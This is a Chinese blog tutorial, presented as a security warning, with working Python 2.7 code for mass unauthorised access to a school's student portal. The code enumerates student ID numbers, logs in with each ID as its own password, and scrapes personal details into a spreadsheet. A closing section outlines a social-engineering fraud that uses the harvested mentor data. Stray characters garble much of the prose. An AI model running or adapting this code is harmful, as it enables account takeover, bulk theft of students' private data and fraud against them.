前言:
這個沒什么技術(shù)難度惜论,懂爬蟲的人和程序員都可以用學(xué)的語言寫出來
只是很多安全問題的存在,的確影響著我們的生活赠叼,
希望大家可以認(rèn)識到一些網(wǎng)站的后臺密碼的規(guī)則與自己的安全性
簡單的說擦囊,就是是程序員的懶,讓用戶的信息暴露在互聯(lián)網(wǎng)上
還有一點:
就是希望正在接觸python嘴办,和快要放棄學(xué)習(xí)的同學(xué)瞬场,可以試試換種思路,
來試試爬蟲涧郊,這樣有成就感的累積贯被,可以慢慢提升你的自信
爬蟲開始前的準(zhǔn)備:
- python2.7
- 庫文件(xlwt,urllib2妆艘,BeautifulSoup4彤灶,xlrd)
安裝庫文件的方法:
最好在你的python2.7/script/下面打開power shell(可以shift+右擊) 執(zhí)行下面的:
安裝庫文件:
pip install *** ***是指上面的庫文件,下面不一定都用批旺,只要上面的幌陕,以后出什么錯,你就繼續(xù)pip install
from bs4 import BeautifulSoup
import requests
import json
import time
import os
import re
from pprint import pprint
import ssl
import cookielib
import urllib2
import urllib
import sys
import xlrd
import xlwt
如何查看自己已經(jīng)安裝了的庫
pip list
觀察網(wǎng)站結(jié)構(gòu)(密碼規(guī)則):
- 首先這個規(guī)則是針對大二和已經(jīng)畢業(yè)了的
- 密碼規(guī)則沒有添加驗證碼(其實添加驗證碼也沒什么用汽煮,只是添加了爬取門檻)
- 規(guī)則是 用戶名==密碼
符合條件
- 這里的用戶信息
- 不要在意這些細(xì)節(jié)(馬賽克) 朦朧美一直是我的追求
具體思路:
模擬登陸 ==》制作學(xué)號規(guī)則==》信息查詢(爬炔ā)==》存入xls
模擬登陸:
因為我們是用爬蟲取信息,每次訪問逗物,
- 肯定是登陸了以后才可以訪問我們的信息 ==》模擬登陸
- 當(dāng)我們用腳本訪問下一個頁面搬卒,需要一個cookie信息,就好比翎卓,當(dāng)你打開
qq空間契邀,其實是想騰訊那里提交了自己的信息,而我們的信息就存在cookie中
- python 中cookie維持會話訪問:
sys.setdefaultencoding("utf-8")
# ssl這個是驗證證書 https
ssl._create_default_https_context = ssl._create_unverified_context
# 生成一個存儲cookie的對象
c = cookielib.LWPCookieJar()
cookie = urllib2.HTTPCookieProcessor(c)
opener = urllib2.build_opener(cookie)
urllib2.install_opener(opener)
-
模擬登陸
具體網(wǎng)址不分享失暴,避免帶來不必要的麻煩
url="http://XXX.xxxx.edu.cn:80/Mobdle/S0s/Login.aspx"
headers={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36',
'Host':'bydg.sjzpt.edu.cn:8080',
'Referer':'http://XXX.xxxx.edu.cn:80/Mobdle/S0s/Login.aspx'
}
#這里是post提交的數(shù)據(jù)坯门,寫成字典的格式--編碼然后提交
data= {
'__VIEWSTATE':'/wEPDwUJNzE4ODIxNTQyZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUMSW1hZ2VCdXR0b24xyPtnkTVK5s7OSriVHZGoeBQymQUUjppPK0Se8wDLMqM=',
'username':username,
'password':password,
'ImageButton1.x':'105',
'ImageButton1.y':'44'
}
# req = requests.post(url,headers=headers,data=data)
# soup = BeautifulSoup(req,'html.parser')
data=urllib.urlencode(data) #這里對post 提交的數(shù)據(jù)編碼
# print data
html = opener.open(url,data=data).read() #這里訪問以下網(wǎng)頁微饥,這時候cookie會存到opener里
-
學(xué)號的列表
不要在意我是怎么知道的,
重要的是這些規(guī)則古戴,你怎么去重新寫一個函數(shù)代入
(里面的我修改過欠橘,所以不要套用,以免浪費時間)
# 學(xué)號只在最后3位不一樣现恼,隨機數(shù)xrange() 可以處理更好的處理大的列表
def user_id():
list_1 = []
for i in xrange(101,249):
list_1.append('1131050'+str(i))
for i in xrange(301,349):
list_1.append('1131050'+ str(i))
for i in xrange(401,448):
list_1.append('1131050'+ str(i))
for i in xrange(501,548):
list_1.append('1131050'+ str(i))
for i in xrange(101,150):
list_1.append('1131070'+ str(i))
for i in xrange(101,151):
list_1.append('1131050'+ str(i))
for i in xrange(201,252):
list_1.append('1135050'+ str(i))
for i in xrange(301,352):
list_1.append('1131050'+ str(i))
for i in xrange(401,453):
list_1.append('1131050'+ str(i))
for i in xrange(101,148):
list_1.append('1131070'+ str(i))
for i in xrange(201,247):
list_1.append('1131070'+ str(i))
return list_1
-
用戶信息的獲取
這里用的的是beautifulsoup庫
def user_info():
url_info="http://XXX.xxxx.edu.cn:80/Modile/Sys/Meddage/Info.aspx"
html2 = opener.open(url_info).read()
# python2.7 沒裝lxml的可能會報錯肃续,pip install lxml
soup = BeautifulSoup(html2,"lxml") #以lxml 方式解析抓下來的lxml
infos = soup.select("tr > td > span") # css seletor 來獲取指定標(biāo)簽
#print profes
# print infos
return infos
-
寫入xls(這個是思路)測試用的函數(shù)
因為在寫的時候因為編碼問題,不能寫入中文
def write_user():
file2 = xlwt.Workbook(encoding='utf-8') #打開一個excel,并且編碼格式以 'utf-8'
table = file2.add_sheet('info',cell_overwrite_ok=True) #添加一個表
table.write(0,0,"15d中文3s0") # 寫入內(nèi)容叉袍,table.write(row,col,'value')
file2.save('file2.xls')
-
開始行動:
-
添加上延遲訪問: time.sleep(1)
- 因為爬蟲訪問的不和人一樣始锚,訪問會很快,
- 這樣可以避免被封ip 還有避免給站點帶來不好的影響
def go_user():
user_list = []
user_infos = []
user_list = user_id()
file2 = xlwt.Workbook(encoding='utf-8')
table = file2.add_sheet('info',cell_overwrite_ok=True)
r = 0 #row 行
for i in user_list:
c = 0 #col
login(username=i, password=i) #登錄喳逛,并傳入列表的學(xué)號
user_infos = user_info() #獲取學(xué)號信息瞧捌,格式是字典
for i in user_infos[0:10]: #寫入表單中,循環(huán)把信息寫進(jìn)去
# print i.get_text()
table.write(r,c,i.get_text())
c += 1
r += 1
time.sleep(1) #延遲訪問润文,可避免封ip姐呐,還有影響服務(wù)器
print r,c
file2.save('file2.xls')
程序執(zhí)行結(jié)束:
部分截圖:有圖有真相,避免無知的噴子
學(xué)號規(guī)則很好找的典蝌,這樣就獲取半個學(xué)校的call和qq啦曙砂,至于能干嘛,自己腦補赠法。麦轰。。
不知道庫的使用方法砖织,我這里總結(jié)了下款侵,還有不知道的只能百度啦
總結(jié):
程序員偷懶,驗證碼不設(shè)定侧纯,密碼和學(xué)號一樣新锈,簡單的說,是沒有安全概念
往深的說眶熬,是對學(xué)生不負(fù)責(zé)-
詐騙思路: --這里我模仿一下騙子
學(xué)生學(xué)習(xí)里面還有企業(yè)導(dǎo)師妹笆,里面有企業(yè)導(dǎo)師的詳細(xì)信息,從業(yè)資格證書娜氏,詳細(xì)到幾幾年獲得
還有畢業(yè)時間拳缠,這么詳細(xì)的信息,不就是為騙子準(zhǔn)備的贸弥,社工可以獲取企業(yè)導(dǎo)師的習(xí)慣窟坐,再和實習(xí)生說出企業(yè)導(dǎo)師的詳細(xì)信息,讓你放下戒備,然后哲鸳,開始騙錢臣疑,涉及到公司,再結(jié)合讓你走公司資金(前提你是財務(wù))徙菠。讯沈。。婿奔。缺狠。。學(xué)校要這么詳細(xì)的信息,還這么不注重安全,向錢看的目標(biāo)是不能變德澈,但是宁玫,更細(xì)致的為學(xué)生考慮好,會不會帶來更好的聲譽吶薇正,值得深思
看見的同學(xué)請修改下密碼片酝,避免沒必要的麻煩(有必要麻煩轉(zhuǎn)發(fā)下,至少我們一起努力過)
喜歡作者的可以關(guān)注下挖腰,定期更新
往期文章:
通過內(nèi)網(wǎng)截取女神正在瀏覽的照片(需要kali)
央視播放攝像頭被破解--的遺留問題(安全在人性)
通過人性的特點雕沿,破解用戶的密碼(社工)
利用好網(wǎng)絡(luò)資源,提升自己的生活體驗
查找好友的具體位置 (更多方法)